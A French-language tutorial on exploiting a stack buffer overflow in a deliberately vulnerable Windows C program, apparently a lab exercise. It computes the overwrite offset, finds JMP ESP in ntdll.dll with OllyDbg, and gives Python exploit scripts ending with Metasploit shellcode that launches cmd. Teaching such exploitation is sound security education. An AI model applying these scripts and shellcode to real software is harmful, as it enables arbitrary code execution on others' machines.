Exploitation d'un buffer overflow
Requis
Compilateur C\C++ : devcpp-4.9.9.2
Compilateur Python :python-2.5.1
Debbugger : ollydbg1.10
source: Buffer Overflow 2.zip
Programme C
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main(int argc, char*argv[])
{
char buf[504];
if(argc!=2)
{
printf("Entrer un paramétre");strcpy(buf,argv[1]);
return -1;
}
return 0x0;
}
Faire déborder la pile
Nous avons vu précédemment, que pour créer un buffer overflow nous devons réécrire l'adresse de retour d'une fonction, par le biais d'une variable. Nous allons calculer le moment ou l'adresse est écrasé, grâce a ce que nous savons de strcpy (). strcpy prend en paramètre deux arguments, la chaîne à copier, ainsi que l'adresse de destination. L'adresse de retour est située à l'offset 0022FF7C, l'adresse de destination se trouve en 0022FD70. Donc FF7C-FD70=20C soit 524 octets. Avant d’écraser notre adresse de retour nous devons envoyer 524 octets.
Python
Python est un langage qui peut s'utiliser dans de nombreux contextes et s'adapter à tout type d'utilisation grâce à des bibliothèques spécialisées à chaque traitement. Il est cependant particulièrement utilisé comme langage de script pour automatiser des tâches simples mais fastidieuses. Nous allons l'utiliser pour automatiser le lancement de notre programme, et vérifier si EIP s'écrase bien à partir de 524 octets.
#Source: Buffer Overflow 2.zip Nom-Script: ecraseEIP.py
import os
import sys
program='BufferOverflow2.exe'
argument=524*'\x90'+4*'\x41'
os.execl(program,program,argument)
Voici le résultat, des registres et un dump de ECX après exécution du script python. Réfléchissons
deux minutes, nous avons vue, que pour créer un buffer overflow nous devons envoyer une chaîne d'octet, jusqu'a écrasement
de l'adresse de retour. Donc le contenu de notre chaîne serait [machine 524 octets][EIP].Notre objectif étant d'écrire du
code et de l'exécuter,il va falloir faite pointer EIP sur le début de ma chaîne. Si par exemple au lieu de mettre 41414141,
nous mettons l'adresse 003D25C4 notre programme sautera à cette adresse est exécutera les 90.

Controler le flux d'execution
Après avoir trouver le moment ou EIP est écrasé, il faut trouvé le moyen de faire pointer EIP, sur le début de notre shellcode. Etant donnée que l'adresse de base sous Windows est différente d'un poste à l'autre, nous ne pouvons pas simplement écrire une adresse mémoire car il y aurai des problèmes de portabilité. Ainsi l'idée est de faire pointer EIP, sur notre shellcode sans pour autant connaître l'adresse. Pour cela il suffit de trouver un registre avant le RET qui pointe sur le début de notre shellcode. On écrasera ainsi l'adresse de retour sur la pile, par l'adresse d'une instruction qui mettra la valeur du registre dans EIP.
Si nous observons bien, nos registres au moment de l'erreur nous constatons qu'aucun ne pointe directement sur le début du shellcode. Seule ECX pointe vers la fin. Nous allons devoir ruser et modifier la valeur de ECX. Pour cela nous allons sauter à l'adresse de esp et modifier le registre ECX, ensuite on détournera le programme vers ECX.
Commençons par trouver une adresse de JMP ESP. Ouvrir BufferOverflow2.exe avec olly, double cliquer sur une instruction est ajouter JMP ESP. Dans la partie code asm vous pouvez lire FFE4. Faite, view, exécutable module, sélectionner ntdll.dll. Clic droit follow in dump sélection. Enfin sur la fenêtre de dump faire un search for binary string. Dans la partie hexa mettre FF D4. Nous en avons un, a l'adresse 7C951EED.
Ainsi si nous remplaçons, l’adresse de retour par cette adresse, celle sera exécutée lors du RET et notre programme sautera à cette adresse. Le contenu étant JMP ESP, il lira l'adresse contenu dans esp, et continuera à cette adresse.
#Source: Buffer Overflow 2.zip Nom-Script: detourneVersESP.py
import os
import sys
program='BufferOverflow2.exe'
argument=524*'\x90'+''.join([
'\xED'+'\x1E'+'\x95'+'\x7C'])
os.execl(program,program,argument)
Les registres, sont des mémoires de taille fixe de 32 bits subdivisés en 3 parties, une de 16 bits (les 16 premiers bits
que l'on appel aussi bits de poids faible) et deux de 8 bits (qui ne sont rien d'autre que les 8 premiers et derniers bits
des 16 précédents).
Registre étendu (32 bits) |
Registre (16 bits) |
Partie forte du registre (8 derniers) |
Partie faible du registre (8 premiers) |
Fonction |
ECX | CX | CH | CL | Compteur |
003D2664 | 2664 | 26 | 64 | Exemple |
Ainsi, si nous voulons réajuster ECX=003D2664, nous devons modifier ch. L'instruction MOV CH, 24 aura pour effet de mettre le registre CH à 24 ainsi ECX sera égal a 003D2464.Sous ollydgb double cliqué sur une instruction rentrer l'instruction, dans la partie asm nous pouvons lire B5 24.
ECX modifier, nous allons détourner le programme vers l'adresse contenu dans ECX grâce à l'instructions JMP ECX. Refaite la même démarche que ci-dessus, nous obtenons ainsi FF E1.
#Source: Buffer Overflow 2.zip Nom-Script: modifieECX.py
import os
import sys
program='BufferOverflow2.exe'
argument=524*'\x90'+''.join([
'\xED'+'\x1E'+'\x95'+'\x7C'+'\xB5\x24\xFF\xE1'])
os.execl(program,program,argument)
Shellcode
Maintenant que nous avons détourné, l'exécution du programme, nous pouvons injecter un code arbitraire. Nous allons pour cela utiliser un shellcode de métasploit directement accessible à l'adresse suivante: metasploit.com. Ce shellcode nous permet d'exécuter une commande. Metasploit nous demande de renseigner au préalable quelques informations pour la charge. Dans le champ CMD spécifie la commande à exécuter, nous allons mettre CMD. Le champ EXITFUNC spécifie la méthode de sortie ici process. Max Size, définit la taille maxi du shellcode, ne rien mettre. Enfin le champ restricted caracters définit les caractères que le shellcode ne doit pas contenir. POUR STRCPY les caractères à éviter sont 0x00 car le NULL indique la fin de la copie, l’espace 0x20 et enfin 0x08, 0x09 et 0x0b car le shell les interprètes en tant que séparateur.
#Source: Buffer Overflow 2.zip Nom-Script: shellCODEsamiftp.py
# shellcode CMD /* win32_exec - EXITFUNC=process CMD=cmd Size=160 Encoder=PexFnstenvSub http://metasploit.com */
import os
import sys
program='BufferOverflow2.exe'
argument=28*'\x90'+''.join([
'\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc3',
'\x85\x1e\xb7\x83\xeb\xfc\xe2\xf4\x3f\x6d\x5a\xb7\xc3\x85\x95\xf2',
'\xff\x0e\x62\xb2\xbb\x84\xf1\x3c\x8c\x9d\x95\xe8\xe3\x84\xf5\xfe',
'\x48\xb1\x95\xb6\x2d\xb4\xde\x2e\x6f\x01\xde\xc3\xc4\x44\xd4\xba',
'\xc2\x47\xf5\x43\xf8\xd1\x3a\xb3\xb6\x60\x95\xe8\xe7\x84\xf5\xd1',
'\x48\x89\x55\x3c\x9c\x99\x1f\x5c\x48\x99\x95\xb6\x28\x0c\x42\x93',
'\xc7\x46\x2f\x77\xa7\x0e\x5e\x87\x46\x45\x66\xbb\x48\xc5\x12\x3c',
'\xb3\x99\xb3\x3c\xab\x8d\xf5\xbe\x48\x05\xae\xb7\xc3\x85\x95\xdf',
'\xff\xda\x2f\x41\xa3\xd3\x97\x4f\x40\x45\x65\xe7\xab\xfb\xc6\x55',
'\xb0\xed\x86\x49\x49\x8b\x49\x48\x24\xe6\x73\xd3\xed\xe0\x66\xd2',
'\xc3\x85\x1e\xb7'])+332*'\x90'+''.join([
'\xED'+'\x1E'+'\x95'+'\x7C'+'\xB5\x24\xFF\xE1'])
os.execl(program,program,argument)
Synthése
L'exploitation d'un buffer overflow n'est pas très compliquée. Nous calquons l'ordre des données d'une chaîne sur l'ordre des données situées sur la pile. Il en résulte un contrôle de la pile à travers cette chaîne. Apres l'écrasement de l'adresse de retour, il nous est très facile de détourner le flux d'exécution du programme sur le début de notre shellcode.